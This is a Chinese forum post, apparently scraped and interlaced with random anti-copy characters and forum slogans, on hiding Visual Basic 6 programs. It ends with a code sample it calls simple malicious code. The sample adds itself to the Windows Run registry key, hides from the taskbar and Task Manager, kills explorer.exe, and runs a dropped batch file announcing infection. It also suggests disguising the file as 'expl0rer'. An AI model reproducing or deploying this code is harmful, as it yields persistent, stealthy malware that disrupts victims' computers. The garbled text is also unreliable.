VB几种不同的隐藏方法
第1种-关闭后到像迅雷一样隐藏www.520diannao.com. V7 @( u' D$ U1 D" v, o
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站6 T! k0 ]( l* f; ?2 M
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
' F" U/ o5 L( v4 w, U$ G6 x5 z Cancel = True
4 J( v& `# n- x4 g6 |9 r: g我爱电脑技术社区--打造最好的电脑技术自学交流平台 Me.Hide
3 {' c- e0 ~& J" R5 I/ u& w我爱电脑技术社区--打造最好的电脑技术自学交流平台 End Sub电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站/ c0 K d6 m9 l1 i1 t; v6 J
_____________________________
! m2 F, T! n! o2 E! K7 g# p我爱电脑技术论坛
$ x- w B4 z% `- C打造最好的电脑自学交流论坛 第2种-直接隐藏
" j S8 i- R2 v4 i, z4 S电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 Form1.Visible = False9 J. | a1 X1 v8 _
_____________________________
- h) X/ g+ J, c& N2 l$ P我爱电脑技术社区--打造最好的电脑技术自学交流平台: n1 c/ T. ]% c% D; V, J
第3种-在任务管理器应用程序中隐藏www.520diannao.com; l! D4 \- Z5 r% ?- {( w, n
App.TaskVisible = False
6 y; { Z0 L3 \, v/ K% p& q. a4 C电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 _____________________________我爱电脑技术论坛! i V$ n/ E% r" E& d2 ^* M
$ y$ Q% f7 J- @9 A# y$ { 于是就可以编写一个简单的恶意代码我爱电脑技术论坛" j( z- u+ R B/ N
2 | d. V' [7 @. k) `6 I Private Sub Form_Load
4 W9 `; ]% }% ?' |4 L我爱电脑技术论坛 Set w = CreateObject("wscript.shell")我爱电脑技术论坛5 [, x( A# l& y: H9 t
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '导入注册表,实现开机自动运行
. K0 S- m: i5 i- L4 r/ f. T4 C我爱电脑技术社区--打造最好的电脑技术自学交流平台 Form1.Visible = False) E$ D+ h+ M5 w. {2 O2 B" a
App.Taskvisible = False
: v. f, C0 d$ s1 ]我爱电脑技术社区--打造最好的电脑技术自学交流平台 Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程
) N" F8 e9 `8 I1 S我爱电脑技术社区--打造最好的电脑技术自学交流平台 Open "c:\windows\$$$.bat" for Append As #1
; U5 l+ b: r$ W( {5 l0 \我爱电脑技术社区--打造最好的电脑技术自学交流平台 Print #1 , "@echo off"我爱电脑技术论坛+ P3 q5 R9 @, u: G2 M* A* U
Print #1 , "echo 恭喜你中毒"
" f/ ?( ~/ e! M+ M电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 Print #1 , "echo. & pause"
8 J7 P) p7 {( K# J% B9 L电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 close #1
7 \9 Y3 Z! V' C8 `% w我爱电脑技术论坛 x = shell("c:\windows\$$$.bat")
! o5 N% M! X7 p7 Y ....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等我爱电脑技术社区--打造最好的电脑技术自学交流平台5 `3 m. L- u/ k. g! \, j
End Sub
